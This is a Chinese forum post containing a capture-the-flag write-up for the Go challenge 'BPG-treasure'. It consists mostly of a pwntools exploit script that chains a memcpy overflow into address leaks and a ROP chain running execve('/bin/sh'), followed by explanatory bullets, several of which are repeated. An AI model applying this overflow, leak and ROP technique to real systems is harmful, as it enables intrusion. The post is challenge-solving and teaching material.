首页
社区
课程
招聘
[原创]BPG-treasure WriteUp from W8C.Cossack人人
发表于: 2019-3-23 15:16 3021

[原创]BPG-treasure WriteUp from W8C.Cossack人人

2019-3-23 15:16
3021

脚本写的丑...各位大哥见谅

rop = p64(proc_base+syscall_Syscall)
rop += p64(proc_base+add_rsp_ret)
rop += p64(59)
rop += p64(libc_base+libc.search("/bin/sh").next())
rop += p64(0)*3
from pwn import *
from time import sleep
#from ctypes import CDLL
import sys,os
#import cle

context.arch = "amd64"
status     = sys.argv[1]
elf     = ELF("./trepwn")
libc     = ELF("./libc.so")
host     = "211.159.175.39"
port     = 8787
name_ptr= 0x489410
ret1    = 0xC820047CE0
padding = '0'*0x30
cc        = False
fuck1     = False
fuck2     = False
fuck3     = False
fuck4     = False 
fuck5    = False
syscall_Syscall = 0x186600
add_rsp_ret        = 0xd72f4

if status == 'l':
    io = process("./trepwn")
elif status == 'r':
    io = remote(host,port)
else:
    info("INVALID STATUS")
    exit()
#ref_io = process("./trepwn")
#base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[3], 16)
#info("REF.IO proc BASE -> %#x"%base)
#callrand = CDLL('./call.so').call

def mov(d):
    sleep(0.1)
    io.sendlineafter(")>>",d)
def msg(data):
    io.sendlineafter(">> ",data)

name = 'CCCC'
io.sendlineafter("Please input you name :\n",name)
#rand = callrand()

for i in range(5):
    mov('d')
#rand = callrand()
msg('1'*0x10)
info("Treasure 1 found")

for i in range(5):
    mov('w')
#rand = callrand()
msg('2'*0x10)
info("Treasure 2 found")

for i in range(5):
    mov('a')
#rand = callrand()
msg('3'*0x10)
info("Treasure 3 found")

mov('s');mov('d')
des1 = 'dsaw'
des2 = 'sawd'

def mov_brute(d):
    io.sendlineafter(")>>",d)
    if "Cong" in io.recv(0x13):
        info("Treasure 4 found")
        if fuck1 and fuck2 == False and fuck3 == False and fuck4 == False and fuck5 == False:
            pwn2()
        elif fuck1 and fuck2 and fuck3 == False and fuck4 == False and fuck5 == False:
            pwn3()
        elif fuck1 and fuck2 and fuck3 and fuck4 == False and fuck5 == False:
            pwn4()
        elif fuck1 and fuck2 and fuck3 and fuck4 and fuck5 == False:
            pwn5()
        else:
            pwn()
def loop(des):
    sleep(0.1)
    for de in des1:
        for i in range(3):
            mov_brute(de)
def looop():
    cnt = 0
    while True:
        loop(des1)
        cnt=cnt+1
        if(cnt%20==0):
            cod = io.recv(4)
            info("loop %d cod %s"%(cnt,cod))
def looop2():
    cnt = 0
    while True:
        loop(des2)
        cnt=cnt+1
        if(cnt%10==0):
            cod = io.recv(4)
            info("loop %d cod %s"%(cnt,cod))

def pwn():
    global fuck1
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += '\xf8'
    msg(payload)
    io.recvuntil('message: ')
    global split_stack
    split_stack = u64(io.recv(8))
    success("SPLIT STACK BUF -> %#x"%split_stack)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck1 = True
    looop2()

def pwn2():
    global fuck2
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(split_stack+0x60)
    msg(payload)
    io.recvuntil('message: ')
    global proc_base
    leak = u64(io.recv(8))-0xd8036
    if (leak&0xfff) == 0:
        proc_base = leak
    elif (leak&0xfff) == 0xfa1:
        proc_base = leak+0x5f
    else:
        proc_base = leak+0xee
    success("PROC BASE -> %#x"%proc_base)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck2 = True
    looop2()

def pwn3():
    global fuck3
    payload = padding
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(proc_base+0x474ef0)
    msg(payload)
    io.recvuntil('message: ')
    global libc_base
    libc_base = u64(io.recv(8))-libc.sym['free']
    success("LIBC BASE -> %#x"%libc_base)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck3 = True
    looop2()

def pwn4():
    global fuck4
    payload = '\x00'*0x30
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += '\x18'
    msg(payload)
    io.recvuntil('message: ')
    global cache_stack
    cache_stack = u64(io.recv(8))
    success("CACHE STACK BUF -> %#x"%cache_stack)
    io.recvuntil(': (')
    x = int(io.recv(1))
    io.recv(2)
    y = int(io.recv(1))
    for i in range(4-y):
        mov_brute('w')
    for i in range(4-x):
        mov_brute('d')
    fuck4 = True
    looop2()

def pwn5():
    global base,libc_base
    #gdb.attach(io,'b * %d+0xd7980'%base)
    global fuck5
    rop = p64(proc_base+syscall_Syscall)
    rop += p64(proc_base+add_rsp_ret)
    rop += p64(59)
    rop += p64(libc_base+libc.search("/bin/sh").next())
    rop += p64(0)*3
    payload = '\x00'*0x30
    payload += p64(0x1)*2
    payload += '\x00'*0x80
    payload += p64(split_stack-0xf8+0x38)
    payload += p64(0x30)*2
    payload += p64(0x0)*3
    payload += p64(0x1)+p64(0xcb4)
    payload += p64(cache_stack)
    payload += p64(0x1)+p64(0x0)*2
    payload += rop
    msg(payload)
    io.interactive()
    fuck5 = True

looop()
  • 首先,你需要恢复一下符号表,于是你就可以发现如下内容
  • 作者自写了 main Game walk treasure randtreasure Joke print scan println memcpy
  • 其他的逻辑都简单,关键是 Gamewalk 调用 treasuretreasure 又调用 memcpy;而 walk 中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure 随机分配位置
  • 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用 randtreasure ,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure 甚至重新生成随机种子...肥肠的变态
  • 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过 runtime.slicebytetostring 从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48 的地方
  • memcpy 未校验长度导致 treasure 4 留言溢出(原定0x30bytes)
  • 原本想的是,修改栈上println的参数使得输出字节增加,后来发现在未leak时,slice 结构体的 len 和 cap 都在 slice 指针高地址处,无法覆写
  • 后来借助 split stack 常规栈区最低字节不变的特性,直接修改 slice 指针低字节从而 leak 出 split stack rsp 附近值;再借此 leak 出返回地址,算出 proc_base (神奇的是,这竟然能 leak 出三种返回地址);再借助 proc_base leak 出 got 的 free 指针,从而得到 libc_base; 最后的最后,再 leak 一个栈区数据段(像是拓展指针存放的地方)的莫名其妙的指针,所有的 leak 工作就结束了
  • 其实可以不 leak libc_base 的...毕竟 golang 静态编译,syscall.Syscall 已经被编译进二进制文件了QAQ,最后才发现...
  • 首先你要挖矿(笑),我是爆破的,概率性脚本(wtcl)
  • 尝试了一下模拟随机过程,GG;又尝试了一下远程本地同时跑然后angr读本地进程内存,GG。
  • 爆!
  • 一波 leak 之后,直接伪造栈上数据,rop 调 syscall.Syscall 一发入魂
  • 此处 rop 注意,用 add rsp,28h 代替 push 即可
    rop = p64(proc_base+syscall_Syscall)
    rop += p64(proc_base+add_rsp_ret)
    rop += p64(59)
    rop += p64(libc_base+libc.search("/bin/sh").next())
    rop += p64(0)*3
    
  • (而且golang的TCMalloc机制和ptmalloc差异很大,很容易出bug)
  • 看了一下出题源码..unsafe nb..Mut3p1g nb
  • 不过还是感谢出题人让我玩了一下go rop
  • 首先,你需要恢复一下符号表,于是你就可以发现如下内容
  • 作者自写了 main Game walk treasure randtreasure Joke print scan println memcpy
  • 其他的逻辑都简单,关键是 Gamewalk 调用 treasuretreasure 又调用 memcpy;而 walk 中有4个 treasure 等待被发现,其中 treasure 1 2 3 在固定地址 (5,0) (5,5) (0,5) , treasure 4 是通过 randtreasure 随机分配位置
  • 此处最坑爹的地方来了,一旦用户移动到了 treasure 4 的上下左右1格的位置,就会再次调用 randtreasure ,再把宝藏挪走到下一个随即地址; 而且!这个 randtreasure 甚至重新生成随机种子...肥肠的变态
  • 费尽千辛万苦挖到 treasure 4 后,会把用户的 message 通过 runtime.slicebytetostring 从 split stack 的一个类似于数据段的地方(对golang底层了解不深,只知道 split stack 中划分了许多不同的区域OTZ)移动到 rsp+0x48 的地方

  • [招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

    最后于 2019-3-28 15:57 被Cossack人人编辑 ,原因:
    收藏
    免费 1
    支持
    分享
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回
    //